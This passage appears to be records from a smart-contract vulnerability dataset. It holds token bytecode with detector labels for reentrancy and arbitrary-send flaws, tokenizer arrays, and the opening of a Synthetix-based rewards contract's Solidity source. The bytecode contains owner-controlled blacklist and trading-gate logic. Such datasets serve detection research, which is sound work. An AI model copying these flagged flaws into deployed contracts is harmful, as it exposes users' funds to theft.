ffffffffffffffffffff16146107bc57600080fd5b60004790506107ca81611cc8565b50565b6000610817600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d34565b9050919050565b610826611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90612ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610979611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fd90612ca9565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4c4f54544f494e55000000000000000000000000000000000000000000000000815250905090565b610a91611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1590612ca9565b60405180910390fd5b600f60149054906101000a900460ff1615610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6590612d15565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfb30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1665b5e620f4800061142b565b50565b6000610c12610c0b611423565b84846115f6565b6001905092915050565b60005b8151811015610cad57600160076000848481518110610c4157610c40612d35565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca590612d93565b915050610c1f565b5050565b610cb9611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612ca9565b60405180910390fd5b8060108190555050565b610d58611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612ca9565b60405180910390fd5b8060108190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e30611423565b73ffffffffffffffffffffffffffffffffffffffff1614610e5057600080fd5b6000610e5b306107cd565b9050610e6681611da2565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f41611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc590612ca9565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f9190612df1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c9190612df1565b6040518363ffffffff1660e01b8152600401611129929190612e1e565b6020604051808303816000875af1158015611148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116c9190612df1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111f5306107cd565b600080611200610a23565b426040518863ffffffff1660e01b815260040161122296959493929190612e8c565b60606040518083038185885af1158015611240573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112659190612f02565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161133d929190612f55565b6020604051808303816000875af115801561135c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113809190612f93565b50565b61138b611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612ca9565b60405180910390fd5b600954601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290613032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906130c4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e9919061290a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd906131e8565b60405180910390fd5b60008111611719576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117109061327a565b60405180910390fd5b6117228361201b565b6117f2576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c2575042613840600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117bf919061329a565b10155b156117dc57600a600b81905550601c600c819055506117ed565b600a600b81905550600a600c819055505b611890565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561187f5742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a600b81905550600a600c819055505b611898610a23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190657506118d6610a23565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119af5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119b857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a635750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad15750600f60179054906101000a900460ff165b15611b9a57600f60149054906101000a900460ff16611aef57600080fd5b601054811115611afe57600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b4957600080fd5b601e42611b56919061329a565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ba5306107cd565b9050600f60159054906101000a900460ff16158015611c125750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2a5750600f60169054906101000a900460ff165b15611c5257611c3881611da2565b60004790506000811115611c5057611c4f47611cc8565b5b505b505b611c5f838383612075565b505050565b6000838311158290611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca391906127bb565b60405180910390fd5b5060008385611cbb91906132f0565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d30573d6000803e3d6000fd5b5050565b6000600954821115611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290613396565b60405180910390fd5b6000611d85612085565b9050611d9a81846120b090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dda57611dd9612a64565b5b604051908082528060200260200182016040528015611e085781602001602082028036833780820191505090505b5090503081600081518110611e2057611e1f612d35565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eeb9190612df1565b81600181518110611eff57611efe612d35565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fca959493929190613474565b600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6120808383836120fa565b505050565b60008060006120926122c5565b915091506120a981836120b090919063ffffffff16565b9250505090565b60006120f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b60008060008060008061210c87612381565b95509550955095509550955061216a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ff85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224b81612491565b612255848361254e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122b2919061290a565b60405180910390a3505050505050505050565b60008060006009549050600065b5e620f4800090506122f565b5e620f480006009546120b090919063ffffffff16565b8210156123115760095465b5e620f4800093509350505061231a565b81819350935050505b9091565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c91906127bb565b60405180910390fd5b506000838561237491906134fd565b9050809150509392505050565b600080600080600080600080600061239e8a600b54600c54612588565b92509250925060006123ae612085565b905060008060006123c18e87878761261e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c64565b905092915050565b6000808284612442919061329a565b905083811015612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e9061357a565b60405180910390fd5b8091505092915050565b600061249b612085565b905060006124b282846126a790919063ffffffff16565b905061250681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612563826009546123e990919063ffffffff16565b60098190555061257e81600a5461243390919063ffffffff16565b600a819055505050565b6000806000806125b460646125a6888a6126a790919063ffffffff16565b6120b090919063ffffffff16565b905060006125de60646125d0888b6126a790919063ffffffff16565b6120b090919063ffffffff16565b90506000612607826125f9858c6123e990919063ffffffff16565b6123e990919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061263785896126a790919063ffffffff16565b9050600061264e86896126a790919063ffffffff16565b9050600061266587896126a790919063ffffffff16565b9050600061268e8261268085876123e990919063ffffffff16565b6123e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156126ba576000905061271c565b600082846126c8919061359a565b90508284826126d791906134fd565b14612717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270e90613666565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561275c578082015181840152602081019050612741565b8381111561276b576000848401525b50505050565b6000601f19601f8301169050919050565b600061278d82612722565b612797818561272d565b93506127a781856020860161273e565b6127b081612771565b840191505092915050565b600060208201905081810360008301526127d58184612782565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061281c826127f1565b9050919050565b61282c81612811565b811461283757600080fd5b50565b60008135905061284981612823565b92915050565b6000819050919050565b6128628161284f565b811461286d57600080fd5b50565b60008135905061287f81612859565b92915050565b6000806040838503121561289c5761289b6127e7565b5b60006128aa8582860161283a565b92505060206128bb85828601612870565b9150509250929050565b60008115159050919050565b6128da816128c5565b82525050565b60006020820190506128f560008301846128d1565b92915050565b6129048161284f565b82525050565b600060208201905061291f60008301846128fb565b92915050565b60008060006060848603121561293e5761293d6127e7565b5b600061294c8682870161283a565b935050602061295d8682870161283a565b925050604061296e86828701612870565b9150509250925092565b60006020828403121561298e5761298d6127e7565b5b600061299c8482850161283a565b91505092915050565b600060ff82169050919050565b6129bb816129a5565b82525050565b60006020820190506129d660008301846129b2565b92915050565b6129e5816128c5565b81146129f057600080fd5b50565b600081359050612a02816129dc565b92915050565b600060208284031215612a1e57612a1d6127e7565b5b6000612a2c848285016129f3565b91505092915050565b612a3e81612811565b82525050565b6000602082019050612a596000830184612a35565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a9c82612771565b810181811067ffffffffffffffff82111715612abb57612aba612a64565b5b80604052505050565b6000612ace6127dd565b9050612ada8282612a93565b919050565b600067ffffffffffffffff821115612afa57612af9612a64565b5b602082029050602081019050919050565b600080fd5b6000612b23612b1e84612adf565b612ac4565b90508083825260208201905060208402830185811115612b4657612b45612b0b565b5b835b81811015612b6f5780612b5b888261283a565b845260208401935050602081019050612b48565b5050509392505050565b600082601f830112612b8e57612b8d612a5f565b5b8135612b9e848260208601612b10565b91505092915050565b600060208284031215612bbd57612bbc6127e7565b5b600082013567ffffffffffffffff811115612bdb57612bda6127ec565b5b612be784828501612b79565b91505092915050565b600060208284031215612c0657612c056127e7565b5b6000612c1484828501612870565b91505092915050565b60008060408385031215612c3457612c336127e7565b5b6000612c428582860161283a565b9250506020612c538582860161283a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c9360208361272d565b9150612c9e82612c5d565b602082019050919050565b60006020820190508181036000830152612cc281612c86565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cff60178361272d565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d9e8261284f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dd157612dd0612d64565b5b600182019050919050565b600081519050612deb81612823565b92915050565b600060208284031215612e0757612e066127e7565b5b6000612e1584828501612ddc565b91505092915050565b6000604082019050612e336000830185612a35565b612e406020830184612a35565b9392505050565b6000819050919050565b6000819050919050565b6000612e76612e71612e6c84612e47565b612e51565b61284f565b9050919050565b612e8681612e5b565b82525050565b600060c082019050612ea16000830189612a35565b612eae60208301886128fb565b612ebb6040830187612e7d565b612ec86060830186612e7d565b612ed56080830185612a35565b612ee260a08301846128fb565b979650505050505050565b600081519050612efc81612859565b92915050565b600080600060608486031215612f1b57612f1a6127e7565b5b6000612f2986828701612eed565b9350506020612f3a86828701612eed565b9250506040612f4b86828701612eed565b9150509250925092565b6000604082019050612f6a6000830185612a35565b612f7760208301846128fb565b9392505050565b600081519050612f8d816129dc565b92915050565b600060208284031215612fa957612fa86127e7565b5b6000612fb784828501612f7e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061301c60248361272d565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ae60228361272d565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061314060258361272d565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d260238361272d565b91506131dd82613176565b604082019050919050565b60006020820190508181036000830152613201816131c5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061326460298361272d565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b60006132a58261284f565b91506132b08361284f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132e5576132e4612d64565b5b828201905092915050565b60006132fb8261284f565b91506133068361284f565b92508282101561331957613318612d64565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613380602a8361272d565b915061338b82613324565b604082019050919050565b600060208201905081810360008301526133af81613373565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133eb81612811565b82525050565b60006133fd83836133e2565b60208301905092915050565b6000602082019050919050565b6000613421826133b6565b61342b81856133c1565b9350613436836133d2565b8060005b8381101561346757815161344e88826133f1565b975061345983613409565b92505060018101905061343a565b5085935050505092915050565b600060a08201905061348960008301886128fb565b6134966020830187612e7d565b81810360408301526134a88186613416565b90506134b76060830185612a35565b6134c460808301846128fb565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135088261284f565b91506135138361284f565b925082613523576135226134ce565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613564601b8361272d565b915061356f8261352e565b602082019050919050565b6000602082019050818103600083015261359381613557565b9050919050565b60006135a58261284f565b91506135b08361284f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e9576135e8612d64565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061365060218361272d565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc05ef16f4c3e87e539afea452d40e66e8a0f858fe2ffdd3f9ce1b3db71fb1e864736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16048, 2683, 21057, 2692, 4215, 7011, 27717, 2497, 2620, 12879, 16147, 16048, 2050, 2549, 2050, 2509, 2497, 2475, 2050, 2575, 2509, 27421, 2629, 15878, 3676, 17465, 1013, 1008, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 2843, 3406, 2378, 2226, 1012, 4012, 1013, 1013, 1013, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2843, 3406, 2378, 2226, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,629
0x9716ac1c3b4df09c6c4174da3da49095cc0254a1
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: GAMERRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. 